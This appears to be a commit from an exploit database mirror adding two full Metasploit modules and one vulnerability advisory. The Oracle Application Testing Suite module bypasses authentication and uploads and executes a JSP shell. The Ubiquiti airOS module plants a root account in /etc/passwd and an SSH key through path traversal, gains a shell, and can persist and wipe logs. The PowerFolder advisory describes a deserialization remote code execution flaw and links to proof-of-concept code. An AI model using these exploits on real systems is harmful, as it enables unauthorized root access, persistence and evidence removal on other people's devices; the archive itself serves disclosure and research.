DB: 2016-05-26
3 new exploits Oracle ATS Arbitrary File Upload Ubiquiti airOS Arbitrary File Upload PowerFolder Server 10.4.321 - Remote Code Execution
This commit is contained in:
parent
b189e25266
commit
e7c0882001
4 changed files with 457 additions and 0 deletions
|
@ -36035,3 +36035,6 @@ id,file,description,date,author,platform,type,port
|
||||||
39848,platforms/php/webapps/39848.py,"Job Script by Scubez - Remote Code Execution",2016-05-23,"Bikramaditya Guha",php,webapps,80
|
39848,platforms/php/webapps/39848.py,"Job Script by Scubez - Remote Code Execution",2016-05-23,"Bikramaditya Guha",php,webapps,80
|
||||||
39849,platforms/php/webapps/39849.txt,"XenAPI 1.4.1 for XenForo - Multiple SQL Injections",2016-05-23,"Julien Ahrens",php,webapps,443
|
39849,platforms/php/webapps/39849.txt,"XenAPI 1.4.1 for XenForo - Multiple SQL Injections",2016-05-23,"Julien Ahrens",php,webapps,443
|
||||||
39850,platforms/asp/webapps/39850.txt,"AfterLogic WebMail Pro ASP.NET 6.2.6 - Administrator Account Disclosure via XXE Injection",2016-05-24,"Mehmet Ince",asp,webapps,80
|
39850,platforms/asp/webapps/39850.txt,"AfterLogic WebMail Pro ASP.NET 6.2.6 - Administrator Account Disclosure via XXE Injection",2016-05-24,"Mehmet Ince",asp,webapps,80
|
||||||
|
39852,platforms/java/remote/39852.rb,"Oracle ATS Arbitrary File Upload",2016-05-25,metasploit,java,remote,8088
|
||||||
|
39853,platforms/unix/remote/39853.rb,"Ubiquiti airOS Arbitrary File Upload",2016-05-25,metasploit,unix,remote,443
|
||||||
|
39854,platforms/java/remote/39854.txt,"PowerFolder Server 10.4.321 - Remote Code Execution",2016-05-25,"Hans-Martin Muench",java,remote,0
|
||||||
|
|
Can't render this file because it is too large.
|
115
platforms/java/remote/39852.rb
Executable file
115
platforms/java/remote/39852.rb
Executable file
|
@ -0,0 +1,115 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Oracle ATS Arbitrary File Upload',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits an authentication bypass and arbitrary file upload
|
||||||
|
in Oracle Application Testing Suite (OATS), version 12.4.0.2.0 and
|
||||||
|
unknown earlier versions, to upload and execute a JSP shell.
|
||||||
|
},
|
||||||
|
'Author' => [
|
||||||
|
'Zhou Yu', # Proof of concept
|
||||||
|
'wvu' # Metasploit module
|
||||||
|
],
|
||||||
|
'References' => [
|
||||||
|
%w{CVE 2016-0492}, # Auth bypass
|
||||||
|
%w{CVE 2016-0491}, # File upload
|
||||||
|
%w{EDB 39691} # PoC
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Jan 20 2016',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => %w{win linux},
|
||||||
|
'Arch' => ARCH_JAVA,
|
||||||
|
'Privileged' => true,
|
||||||
|
'Targets' => [
|
||||||
|
['OATS <= 12.4.0.2.0 (Windows)', 'Platform' => 'win'],
|
||||||
|
['OATS <= 12.4.0.2.0 (Linux)', 'Platform' => 'linux']
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
Opt::RPORT(8088)
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => '/admin/Login.do'
|
||||||
|
)
|
||||||
|
|
||||||
|
if res && res.body.include?('12.4.0.2.0')
|
||||||
|
CheckCode::Appears
|
||||||
|
else
|
||||||
|
CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
print_status("Uploading JSP shell to #{jsp_path}")
|
||||||
|
upload_jsp_shell
|
||||||
|
print_status("Executing JSP shell: #{full_uri}olt/pages/#{jsp_filename}")
|
||||||
|
exec_jsp_shell
|
||||||
|
end
|
||||||
|
|
||||||
|
def upload_jsp_shell
|
||||||
|
mime = Rex::MIME::Message.new
|
||||||
|
mime.add_part('.jsp', nil, nil, 'form-data; name="storage.extension"')
|
||||||
|
mime.add_part(jsp_filename, nil, nil, 'form-data; name="fileName1"')
|
||||||
|
mime.add_part('', nil, nil, 'form-data; name="fileName2"') # Not needed
|
||||||
|
mime.add_part('', nil, nil, 'form-data; name="fileName3"') # Not needed
|
||||||
|
mime.add_part('', nil, nil, 'form-data; name="fileName4"') # Not needed
|
||||||
|
mime.add_part('*', nil, nil, 'form-data; name="fileType"')
|
||||||
|
mime.add_part(payload.encoded, 'text/plain', nil,
|
||||||
|
%Q{form-data; name="file1"; filename="#{jsp_filename}"})
|
||||||
|
mime.add_part('Default', nil, nil, 'form-data; name="storage.repository"')
|
||||||
|
mime.add_part('.', nil, nil, 'form-data; name="storage.workspace"')
|
||||||
|
mime.add_part(jsp_directory, nil, nil, 'form-data; name="directory"')
|
||||||
|
|
||||||
|
register_files_for_cleanup(jsp_path)
|
||||||
|
|
||||||
|
send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => '/olt/Login.do/../../olt/UploadFileUpload.do',
|
||||||
|
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
|
||||||
|
'data' => mime.to_s
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exec_jsp_shell
|
||||||
|
send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => "/olt/pages/#{jsp_filename}"
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def jsp_directory
|
||||||
|
case target['Platform']
|
||||||
|
when 'win'
|
||||||
|
'..\\oats\\servers\\AdminServer\\tmp\\_WL_user\\oats_ee\\1ryhnd\\war\\pages'
|
||||||
|
when 'linux'
|
||||||
|
'../oats/servers/AdminServer/tmp/_WL_user/oats_ee/1ryhnd/war/pages'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def jsp_filename
|
||||||
|
@jsp_filename ||= Rex::Text.rand_text_alpha(8) + '.jsp'
|
||||||
|
end
|
||||||
|
|
||||||
|
def jsp_path
|
||||||
|
jsp_directory + "#{target['Platform'] == 'win' ? '\\' : '/'}" + jsp_filename
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
96
platforms/java/remote/39854.txt
Executable file
96
platforms/java/remote/39854.txt
Executable file
|
@ -0,0 +1,96 @@
|
||||||
|
Mogwai Security Advisory MSA-2016-01
|
||||||
|
----------------------------------------------------------------------
|
||||||
|
Title: PowerFolder Remote Code Execution Vulnerability
|
||||||
|
Product: PowerFolder Server
|
||||||
|
Affected versions: 10.4.321 (Linux/Windows) (Other version might be also affected)
|
||||||
|
Impact: high
|
||||||
|
Remote: yes
|
||||||
|
Product link: https://www.powerfolder.com
|
||||||
|
Reported: 02/03/2016
|
||||||
|
by: Hans-Martin Muench (Mogwai, IT-Sicherheitsberatung Muench)
|
||||||
|
|
||||||
|
|
||||||
|
Vendor's Description of the Software:
|
||||||
|
----------------------------------------------------------------------
|
||||||
|
PowerFolder is the leading on-premise solution for file synchronization
|
||||||
|
and collaboration in your organization. PowerFolder Business Suite and
|
||||||
|
PowerFolder Enterprise Suite both offer a fully integrated and secure
|
||||||
|
solution for backup, synchronization and collaboration.
|
||||||
|
|
||||||
|
Support for federated RADIUS, LDAP and RESTful APIs allow PowerFolder
|
||||||
|
to blend in perfectly into your environment while all data is stored
|
||||||
|
on your own IT infrastructure, ensuring that your data remains 100%
|
||||||
|
under your control.
|
||||||
|
|
||||||
|
|
||||||
|
Business recommendation:
|
||||||
|
-----------------------------------------------------------------------
|
||||||
|
Apply patches that are provided by the vendor. Restrict access to the
|
||||||
|
PowerFolder port, as the vulnerability might be exploited with other gadgets.
|
||||||
|
|
||||||
|
CVSS2 Ratings
|
||||||
|
-----------------------------------------------------------------------
|
||||||
|
CVSS Base Score: 9.3
|
||||||
|
Impact Subscore: 10
|
||||||
|
Exploitability Subscore: 8.6
|
||||||
|
CVSS v2 Vector (AV:N/AC:M/Au:N/C:C/I:C/A:C)
|
||||||
|
-----------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability description:
|
||||||
|
----------------------------------------------------------------------
|
||||||
|
The PowerFolder server and client are written in Java. Data exchange is mainly
|
||||||
|
done via serialized objects that are send over a dedicated port (TCP port 1337).
|
||||||
|
This service allows deserialization of untrusted data, which can be exploited to
|
||||||
|
execute arbitrary code.[1][2]
|
||||||
|
|
||||||
|
The tested PowerFolder version contains a modified version of the Java
|
||||||
|
library "ApacheCommons". In this version, the PowerFolder developers removed
|
||||||
|
certain dangerous classes like
|
||||||
|
org.apache.commons.collections.functors.InvokerTransformer
|
||||||
|
however, exploitation is still possible using another gadget chain [3].
|
||||||
|
|
||||||
|
Proof of concept:
|
||||||
|
----------------------------------------------------------------------
|
||||||
|
A simple PoC can be found here:
|
||||||
|
|
||||||
|
https://github.com/h0ng10/powerfolder-exploit-poc
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39854.zip
|
||||||
|
|
||||||
|
Disclosure timeline:
|
||||||
|
----------------------------------------------------------------------
|
||||||
|
10/02/2016: Bug discovered during pentest preparation
|
||||||
|
02/03/2016: Initial contact via vendor support form
|
||||||
|
02/03/2016: Response from vendor, asking for additional details
|
||||||
|
02/03/2016: Sending description, including a very simple PoC
|
||||||
|
07/03/2016: Response from PowerFolder developers, they are unable to reproduce
|
||||||
|
the issue
|
||||||
|
07/03/2016: Response from Mogwai Security, will develop a improved PoC exploit
|
||||||
|
12/03/2016: Providing an improved exploit PoC that does not only work in LAN
|
||||||
|
networks
|
||||||
|
21/03/2016: Requesting an update from the developers
|
||||||
|
21/03/2016: Phone call with PowerFolder developers
|
||||||
|
21/03/2016: Additional response from PowerFolder, they plan to release a
|
||||||
|
security update at the end of the month
|
||||||
|
01/04/2016: Release of PowerFolder 10 SP5, including vulnerability
|
||||||
|
acknowledgement [4]
|
||||||
|
|
||||||
|
References:
|
||||||
|
----------------------------------------------------------------------
|
||||||
|
[1] https://frohoff.github.io/appseccali-marshalling-pickles/
|
||||||
|
[2] https://www.youtube.com/watch?v=VviY3O-euVQ
|
||||||
|
[3] https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections3.java
|
||||||
|
[4] https://wiki.powerfolder.com/display/PFC/PowerFolder+Client+10+SP5
|
||||||
|
|
||||||
|
|
||||||
|
Advisory URL:
|
||||||
|
----------------------------------------------------------------------
|
||||||
|
https://www.mogwaisecurity.de/#lab
|
||||||
|
|
||||||
|
|
||||||
|
----------------------------------------------------------------------
|
||||||
|
Mogwai, IT-Sicherheitsberatung Muench
|
||||||
|
Gutenbergstrasse 2
|
||||||
|
89231 Neu-Ulm (Germany)
|
||||||
|
|
||||||
|
info@mogwaisecurity.de
|
243
platforms/unix/remote/39853.rb
Executable file
243
platforms/unix/remote/39853.rb
Executable file
|
@ -0,0 +1,243 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
|
# See note about overwritten files
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Ubiquiti airOS Arbitrary File Upload',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a pre-auth file upload to install a new root user
|
||||||
|
to /etc/passwd and an SSH key to /etc/dropbear/authorized_keys.
|
||||||
|
|
||||||
|
FYI, /etc/{passwd,dropbear/authorized_keys} will be overwritten.
|
||||||
|
/etc/persistent/rc.poststart will be overwritten if PERSIST_ETC is true.
|
||||||
|
|
||||||
|
This method is used by the "mf" malware infecting these devices.
|
||||||
|
},
|
||||||
|
'Author' => [
|
||||||
|
'93c08539', # Vulnerability discovery
|
||||||
|
'wvu' # Metasploit module
|
||||||
|
],
|
||||||
|
'References' => [
|
||||||
|
%w{EDB 39701},
|
||||||
|
%w{URL https://hackerone.com/reports/73480}
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Feb 13 2016',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'unix',
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Privileged' => true,
|
||||||
|
'Payload' => {
|
||||||
|
'Compat' => {
|
||||||
|
'PayloadType' => 'cmd_interact',
|
||||||
|
'ConnectionType' => 'find'
|
||||||
|
}
|
||||||
|
},
|
||||||
|
'Targets' => [
|
||||||
|
['Ubiquiti airOS < 5.6.2', {}]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DefaultOptions' => {
|
||||||
|
'SSL' => true
|
||||||
|
}
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
Opt::RPORT(443),
|
||||||
|
OptPort.new('SSH_PORT', [true, 'SSH port', 22])
|
||||||
|
])
|
||||||
|
|
||||||
|
register_advanced_options([
|
||||||
|
OptBool.new('PERSIST_ETC', [false, 'Persist in /etc/persistent', false]),
|
||||||
|
OptBool.new('WIPE_LOGS', [false, 'Wipe /var/log/messages', false]),
|
||||||
|
OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
|
||||||
|
OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
print_status('Uploading /etc/passwd')
|
||||||
|
upload_etc_passwd
|
||||||
|
print_status('Uploading /etc/dropbear/authorized_keys')
|
||||||
|
upload_authorized_keys
|
||||||
|
print_status("Logging in as #{username}")
|
||||||
|
vprint_status("Password: #{password}")
|
||||||
|
vprint_status("Private key:\n#{private_key}")
|
||||||
|
if (ssh = ssh_login)
|
||||||
|
print_good("Logged in as #{username}")
|
||||||
|
handler(ssh.lsock)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_new_session(session)
|
||||||
|
super
|
||||||
|
if datastore['PERSIST_ETC']
|
||||||
|
print_status('Persisting in /etc/persistent')
|
||||||
|
persist_etc(session)
|
||||||
|
end
|
||||||
|
if datastore['WIPE_LOGS']
|
||||||
|
print_status('Wiping /var/log/messages')
|
||||||
|
wipe_logs(session)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def upload_etc_passwd
|
||||||
|
mime = Rex::MIME::Message.new
|
||||||
|
mime.add_part(etc_passwd, 'text/plain', 'binary',
|
||||||
|
'form-data; name="passwd"; filename="../../etc/passwd"')
|
||||||
|
|
||||||
|
send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => '/login.cgi',
|
||||||
|
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
|
||||||
|
'data' => mime.to_s
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def upload_authorized_keys
|
||||||
|
mime = Rex::MIME::Message.new
|
||||||
|
mime.add_part(authorized_keys, 'text/plain', 'binary',
|
||||||
|
'form-data; name="authorized_keys"; ' \
|
||||||
|
'filename="../../etc/dropbear/authorized_keys"')
|
||||||
|
|
||||||
|
send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => '/login.cgi',
|
||||||
|
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
|
||||||
|
'data' => mime.to_s
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def ssh_login
|
||||||
|
ssh_opts = {
|
||||||
|
port: datastore['SSH_PORT'],
|
||||||
|
auth_methods: %w{publickey password},
|
||||||
|
key_data: [private_key],
|
||||||
|
# Framework options
|
||||||
|
msframework: framework,
|
||||||
|
msfmodule: self,
|
||||||
|
proxies: datastore['Proxies']
|
||||||
|
}
|
||||||
|
|
||||||
|
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
|
||||||
|
|
||||||
|
begin
|
||||||
|
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
||||||
|
Net::SSH.start(rhost, username, ssh_opts)
|
||||||
|
end
|
||||||
|
rescue Net::SSH::Exception => e
|
||||||
|
vprint_error("#{e.class}: #{e.message}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
if ssh
|
||||||
|
report_vuln(
|
||||||
|
host: rhost,
|
||||||
|
name: self.name,
|
||||||
|
refs: self.references,
|
||||||
|
info: ssh.transport.server_version.version
|
||||||
|
)
|
||||||
|
report_note(
|
||||||
|
host: rhost,
|
||||||
|
port: datastore['SSH_PORT'],
|
||||||
|
type: 'airos.ssh.key',
|
||||||
|
data: private_key
|
||||||
|
)
|
||||||
|
return Net::SSH::CommandStream.new(ssh, '/bin/sh', true)
|
||||||
|
end
|
||||||
|
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Persistence and cleanup methods
|
||||||
|
#
|
||||||
|
|
||||||
|
def persist_etc(session)
|
||||||
|
mime = Rex::MIME::Message.new
|
||||||
|
mime.add_part(rc_poststart, 'text/plain', 'binary',
|
||||||
|
'form-data; name="rc.poststart"; ' \
|
||||||
|
'filename="../../etc/persistent/rc.poststart"')
|
||||||
|
|
||||||
|
send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => '/login.cgi',
|
||||||
|
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
|
||||||
|
'data' => mime.to_s
|
||||||
|
)
|
||||||
|
|
||||||
|
# http://www.hwmn.org/w/Ubiquity_HOWTO
|
||||||
|
commands = [
|
||||||
|
"mkdir #{username}",
|
||||||
|
"cp /etc/passwd /etc/dropbear/authorized_keys #{username}",
|
||||||
|
'cfgmtd -wp /etc'
|
||||||
|
]
|
||||||
|
|
||||||
|
commands.each do |command|
|
||||||
|
session.shell_command_token(command)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def wipe_logs(session)
|
||||||
|
session.shell_command_token('> /var/log/messages')
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# /etc/passwd methods
|
||||||
|
#
|
||||||
|
|
||||||
|
def etc_passwd
|
||||||
|
"#{username}:#{hash(password)}:0:0:Administrator:/etc/persistent:/bin/sh\n"
|
||||||
|
end
|
||||||
|
|
||||||
|
def hash(password)
|
||||||
|
# http://man7.org/linux/man-pages/man3/crypt.3.html
|
||||||
|
salt = Rex::Text.rand_text(2, '', Rex::Text::AlphaNumeric + './')
|
||||||
|
password.crypt(salt)
|
||||||
|
end
|
||||||
|
|
||||||
|
def username
|
||||||
|
@username ||= Rex::Text.rand_text_alpha_lower(8)
|
||||||
|
end
|
||||||
|
|
||||||
|
def password
|
||||||
|
@password ||= Rex::Text.rand_text_alphanumeric(8)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# /etc/dropbear/authorized_keys methods
|
||||||
|
#
|
||||||
|
|
||||||
|
def authorized_keys
|
||||||
|
pubkey = Rex::Text.encode_base64(ssh_keygen.public_key.to_blob)
|
||||||
|
"#{ssh_keygen.ssh_type} #{pubkey}\n"
|
||||||
|
end
|
||||||
|
|
||||||
|
def private_key
|
||||||
|
ssh_keygen.to_pem
|
||||||
|
end
|
||||||
|
|
||||||
|
def ssh_keygen
|
||||||
|
@ssh_keygen ||= OpenSSL::PKey::RSA.new(2048)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# /etc/persistent/rc.poststart methods
|
||||||
|
#
|
||||||
|
|
||||||
|
def rc_poststart
|
||||||
|
<<EOF
|
||||||
|
cp /etc/persistent/#{username}/passwd /etc/passwd
|
||||||
|
cp /etc/persistent/#{username}/authorized_keys /etc/dropbear/authorized_keys
|
||||||
|
EOF
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
Loading…
Add table
Reference in a new issue